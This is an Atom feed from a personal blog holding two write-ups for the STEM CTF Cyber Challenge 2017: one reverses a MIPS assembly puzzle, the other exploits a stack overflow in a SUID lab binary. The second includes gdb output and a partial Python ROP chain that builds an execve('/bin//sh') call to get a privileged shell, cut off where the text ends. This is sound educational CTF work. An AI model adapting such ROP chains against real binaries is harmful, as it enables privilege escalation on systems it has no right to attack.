<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Man0lis Blog - random tech stuff</title><link href="https://blog.manol.is/" rel="alternate"></link><link href="https://blog.manol.is/feeds/all.atom.xml" rel="self"></link><id>https://blog.manol.is/</id><updated>2017-10-21T13:50:00+02:00</updated><subtitle>random tech stuff</subtitle><subtitle>random tech stuff</subtitle><entry><title>STEM CTF: Cyber Challenge 2017 Binary 200 Writeup</title><link href="https://blog.manol.is/stem-ctf-cyber-challenge-2017-binary-200-writeup.html" rel="alternate"></link><published>2017-10-21T13:50:00+02:00</published><updated>2017-10-21T13:50:00+02:00</updated><author><name>manolis</name></author><id>tag:blog.manol.is,2017-10-21:/stem-ctf-cyber-challenge-2017-binary-200-writeup.html</id><summary type="html">&lt;p&gt;A couple of weeks ago I participated in the &lt;a class="reference external" href="https://mitrestemctf.org"&gt;STEM CTF Cyber Challenge 2017&lt;/a&gt; and would like to share some of my solutions in
the next couple of posts.&lt;/p&gt;
&lt;div class="section" id="binary-200"&gt;
&lt;h2&gt;Binary 200&lt;/h2&gt;
&lt;p&gt;We get a file called &lt;tt class="docutils literal"&gt;b2_79d817f70e8e9a0c0e001069d7d488e9a4211eac&lt;/tt&gt; that
contains some comments and some assembler source code.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# Can U reverse spim-er …&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;A couple of weeks ago I participated in the &lt;a class="reference external" href="https://mitrestemctf.org"&gt;STEM CTF Cyber Challenge 2017&lt;/a&gt; and would like to share some of my solutions in
the next couple of posts.&lt;/p&gt;
&lt;div class="section" id="binary-200"&gt;
&lt;h2&gt;Binary 200&lt;/h2&gt;
&lt;p&gt;We get a file called &lt;tt class="docutils literal"&gt;b2_79d817f70e8e9a0c0e001069d7d488e9a4211eac&lt;/tt&gt; that
contains some comments and some assembler source code.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# Can U reverse spim-er 3017?
# R U a memel0rd lik le l00per kn0wn as kierk

# l4st ye4r we le4rned th4t sEcUrItY tHr0uGh 0bScUrItY is a bad meme
#       th1s ye4r you will never get my fl4g.. well not never but not before the competition ends..
# U also m1ght run 0ut 0f memory by th3n
#
# run my new new asm script for the mipster skeletal processer 2.0
# it will print muh flag
# much improve on l4st ye4r, n0w U R bones lik me b4 it runs MUAHWHAHWHUEHUEHUEHUE

#░░░░░░░░░░░░▄▐░░░░░░
#░░░░░░▄▄▄░░▄██▄░░░░░
#░░░░░▐▀█▀▌░░░░▀█▄░░░
#░░░░░▐█▄█▌░░░░░░▀█▄░
#░░░░░░▀▄▀░░░▄▄▄▄▄▀▀░
#░░░░▄▄▄██▀▀▀▀░░░░░░░
#░░░█▀▄▄▄█░▀▀░░░░░░░░
#░░░▌░▄▄▄▐▌▀▀▀░░░░░░░
#▄░▐░░░▄▄░█░▀▀░░░░░░░ U HAVE BEEN RE-SPOOKED BY THE
#▀█▌░░░▄░▀█▀░▀░░░░░░░ SPOOKY SKILENTON
#░░░░░░░▄▄▐▌▄▄░░░░░░░ CAN U REVERSE THE CURSE?
#░░░░░░░▀███▀█░▄░░░░░
#░░░░░░▐▌▀▄▀▄▀▐▄░░░░░
#░░░░░▐▀░░░░░░▐▌░░░░░
#░░░░░░█░░░░░░░░█░░░░
#░░░░░▐▌░░░░░░░░░█░░░
#░░░░░█░░░░░░░░░░▐▌░░

    .text

.globl main
main:
        la      $a0, meme_in
        li      $v0, 4
        syscall

        la      $a0, new_meme
        li      $v0, 4
        syscall

        lw      $a0, meme_num
        move    $t0, $a0

        jal bif

        move $t0, $v0

w00t:
        la      $a0, meme_out
        li      $v0, 4
        syscall

        move $a0, $t0
        li $v0, 1
        syscall

        la      $a0, new_meme
        li      $v0, 4
        syscall

        j       rekt

bif:
        addi $sp, $sp, -12
        sw   $ra, 0($sp)
        sw   $s0, 4($sp)
        sw   $s1, 8($sp)

        add $s0, $a0, $zero

        addi $t1, $zero, 1
        beq  $s0, $zero, return0
        beq  $s0, $t1,   return1

        addi $a0, $s0, -1

        jal bif

        add $s1, $zero, $v0

        addi $a0, $s0, -2

        jal bif

        lw      $a0, leet_meme
        move    $t2, $a0
        div $v0, $t2
        mfhi $v0

        add $v0, $v0, $s1

        exitbif:
            lw   $ra, 0($sp)
            lw   $s0, 4($sp)
            lw   $s1, 8($sp)
            addi $sp, $sp, 12
            jr $ra

        return1:
            li $v0,1
            j exitbif

        return0:
            li $v0,0
            j exitbif
rekt:
    li      $v0, 10
    syscall

    .data
meme_in:                .asciiz &amp;quot;Run progr4m run! MAUAHAHAHA...&amp;quot;
meme_out:               .asciiz &amp;quot;Nice Meme: MCA-&amp;quot;
meme_num:               .word 200
leet_meme:      .word 13371337
new_meme:               .asciiz &amp;quot;\n&amp;quot;
&lt;/pre&gt;
&lt;p&gt;The hint for the challenge mentioned &lt;a class="reference external" href="http://spimsimulator.sourceforge.net/"&gt;SPIM&lt;/a&gt; a mips32
simulator that simulates mips assembler and something what seems to be simplified mips assembler.
Running the given source in SPIM did not yield any results. The code just ran forever. So I
manually translated the assembler to C.&lt;/p&gt;
&lt;pre class="code c literal-block"&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13371337&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Running the code as is does not give a result either, but running it with smaller parameters for the
&lt;tt class="docutils literal"&gt;bif&lt;/tt&gt; function eventually gives a result. Looking at the return statement in the &lt;tt class="docutils literal"&gt;bif&lt;/tt&gt; function
one can see that the function is highly recursive. This causes the long runtime when trying to
calculate the function naively. A programming technique used to solve problems like this is called
&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Dynamic_programming"&gt;dynamic programming&lt;/a&gt;. An easier/different
way to picture this solution is adding a cache for return values to the function. This prevents the
function from recalculating already calculated results (which are used often in resolving this
recursion). Since I was to lazy to implement this in C and Python already contains a function
decorator that does exactly what we need, I rewrote &lt;tt class="docutils literal"&gt;bif&lt;/tt&gt; in Python and added the mentioned
decorator.&lt;/p&gt;
&lt;pre class="code python literal-block"&gt;
&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;functools&lt;/span&gt;

&lt;span class="nd"&gt;&amp;#64;functools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lru_cache&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;maxsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;s0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;s0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;s0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;bif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s0&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s0&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;13371337&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Nice Meme: MCA-&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Running this script outputs the flag in less than 100ms on my system.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Nice Meme: MCA-1193021963
&lt;/pre&gt;
&lt;/div&gt;
</content><category term="ctf"></category><category term="ctf"></category></entry><entry><title>STEM CTF: Cyber Challenge 2017 Binary 150 Writeup</title><link href="https://blog.manol.is/stem-ctf-cyber-challenge-2017-binary-150-writeup.html" rel="alternate"></link><published>2017-10-08T19:50:00+02:00</published><updated>2017-10-08T19:50:00+02:00</updated><author><name>manolis</name></author><id>tag:blog.manol.is,2017-10-08:/stem-ctf-cyber-challenge-2017-binary-150-writeup.html</id><summary type="html">&lt;p&gt;Wow, first post after 7 years of inactivity and its going to be my first CTF writeup.
A couple of weeks ago I participated in the &lt;a class="reference external" href="https://mitrestemctf.org"&gt;STEM CTF Cyber Challenge 2017&lt;/a&gt; and would like to share some of my solutions in
the next couple of posts.&lt;/p&gt;
&lt;div class="section" id="binary-150"&gt;
&lt;h2&gt;Binary 150&lt;/h2&gt;
&lt;p&gt;We got …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Wow, first post after 7 years of inactivity and its going to be my first CTF writeup.
A couple of weeks ago I participated in the &lt;a class="reference external" href="https://mitrestemctf.org"&gt;STEM CTF Cyber Challenge 2017&lt;/a&gt; and would like to share some of my solutions in
the next couple of posts.&lt;/p&gt;
&lt;div class="section" id="binary-150"&gt;
&lt;h2&gt;Binary 150&lt;/h2&gt;
&lt;p&gt;We got a SSH command that connects you to the challenge server. On this server there are 4 files. 3
flags and a binary. The flag files are not readable by the current user but the binary has the SUID
permission bit set and has the correct permissions. The binary is called rop101 and we probably
can use it to get to the flags. First, I copied the binary to my local machine for further
analysis. The file command tells us, that the binary is not stripped, nice. rabin2 (part of
&lt;a class="reference external" href="http://rada.re"&gt;radare2&lt;/a&gt;) then reveals, that the binary uses the NX bit but does not use stack
canaries. So judging by this and the name of the binary, this challenge probably involves
&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Return-oriented_programming"&gt;return oriented programming&lt;/a&gt;.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ scp -P 2200 challenge&amp;#64;10.0.2.3:rop101 .

$ file rop101
rop101: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0ecc4d4916dc994a3c597075f917e215b4a3e043, not stripped

$ rabin2 -I rop101
arch     x86
binsz    724218
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
rpath    NONE
static   true
stripped false
subsys   linux
va       true
&lt;/pre&gt;
&lt;p&gt;Lets open it up in radare2, run a quick analysis and get an overview of the binary.&lt;/p&gt;
&lt;img alt="Main Function in radare2" src="/media/stem-ctf-2017/b150-radare-main.png" /&gt;
&lt;p&gt;Mh, it prints a welcome message and then calls vuln_func. Lets see what it does.&lt;/p&gt;
&lt;img alt="vuln_func in radare2" src="/media/stem-ctf-2017/b150-radare-vuln_func.png" /&gt;
&lt;p&gt;So it reads 256 bytes from STDIN and writes them to a local variable on the stack that is smaller
than 256 bytes. Using this we can overwrite the return address of the vuln_func on the stack and
take control of the program flow. Lets first determine the position of the target address. In this
case we could just calculate it but lets use a &lt;a class="reference external" href="https://en.wikipedia.org/wiki/De_Bruijn_sequence"&gt;De Bruijn pattern&lt;/a&gt; for fun and education. A De Bruijn pattern is a
sequence where all substrings can be assigned to a specific index of the sequence. In other words
given only a substring of the sequence you can tell from which position in the main sequence the
substring is from.
Lets generate a 256 byte long pattern using ragg2 (also part of radare2) and give it to the binary, while it runs in gdb.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ ragg2 -r -P 256
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY

$ gdb ./rop101
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type &amp;quot;show copying&amp;quot;
and &amp;quot;show warranty&amp;quot; for details.
This GDB was configured as &amp;quot;x86_64-pc-linux-gnu&amp;quot;.
Type &amp;quot;show configuration&amp;quot; for configuration details.
For bug reporting instructions, please see:
&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;.
Find the GDB manual and other documentation resources online at:
&amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.
For help, type &amp;quot;help&amp;quot;.
Type &amp;quot;apropos word&amp;quot; to search for commands related to &amp;quot;word&amp;quot;...
Reading symbols from ./rop101...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/user/binary/150/rop101
================================================
Welcome to ROP (return-oriented programming) 101
There's 3 flags
Good luck
================================================
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY

Program received signal SIGSEGV, Segmentation fault.
0x416d4141 in ?? ()
(gdb)
&lt;/pre&gt;
&lt;p&gt;It crashed on address 0x416d4141. ragg2 can use the address to determine the position in the
generated pattern.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ ragg2 -q 0x416d4141
Little endian: 112
Big endian: 113
&lt;/pre&gt;
&lt;p&gt;Since x86 is a little endian architecture our padding for the ROP chain has to be 112 bytes. Now we
have to figure out if there are functions in the binary which can be used for our purposes. Using
&lt;tt class="docutils literal"&gt;is*&lt;/tt&gt; in radare2 to list all available symbols gives us a lot to work with. After looking at the
output for a bit, I found some interesting symbol names.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;get_flag1&lt;/li&gt;
&lt;li&gt;setup_get_flag2&lt;/li&gt;
&lt;li&gt;get_flag2&lt;/li&gt;
&lt;li&gt;let_me_help_you&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first 3 functions executed in succession will read the first two flags from file system and print
them. Unfortunately there seems to be no function for the third flag, but &lt;tt class="docutils literal"&gt;let_me_help_you&lt;/tt&gt;
allows for a more generic solution. The function sets the real and effective group IDs to the group
that is able to access the flag files. Combining this with a ROP chain that executes &lt;tt class="docutils literal"&gt;/bin/sh&lt;/tt&gt;
should yield a shell that is able to access the flags.&lt;/p&gt;
&lt;p&gt;I used &lt;a class="reference external" href="https://github.com/JonathanSalwan/ROPgadget"&gt;ROPgadget&lt;/a&gt; to generate the ROP chain and
&lt;a class="reference external" href="https://github.com/Gallopsled/pwntools"&gt;pwntools&lt;/a&gt; to interact with the process or the SSH
server.&lt;/p&gt;
&lt;pre class="code python literal-block"&gt;
&lt;span class="ch"&gt;#!/usr/bin/env python2&lt;/span&gt;

&lt;span class="c1"&gt;# To generate:&lt;/span&gt;
&lt;span class="c1"&gt;# $ ropgadget --binary rop101 --ropchain&lt;/span&gt;
&lt;span class="c1"&gt;# execve generated by ROPgadget&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;

&lt;span class="c1"&gt;# padding size we got from ragg2&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'A'&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;

&lt;span class="c1"&gt;# old attempts&lt;/span&gt;
&lt;span class="c1"&gt;#p += pack('&amp;lt;I', 0x080488B9) # get_flag1&lt;/span&gt;
&lt;span class="c1"&gt;#p += pack('&amp;lt;I', 0x08048921) # setup_get_flag2&lt;/span&gt;
&lt;span class="c1"&gt;#p += pack('&amp;lt;I', 0x0804892B) # get_flag2&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0804889B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# let_me_help_you&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0806ee7a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pop edx ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080ea060&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#64; .data&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080b7fc6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pop eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s1"&gt;'/bin'&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080547cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# mov dword ptr [edx], eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0806ee7a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pop edx ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080ea064&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#64; .data + 4&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080b7fc6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pop eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s1"&gt;'//sh'&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080547cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# mov dword ptr [edx], eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0806ee7a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pop edx ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080ea068&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#64; .data + 8&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08049413&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# xor eax, eax ; ret&lt;/span&gt;
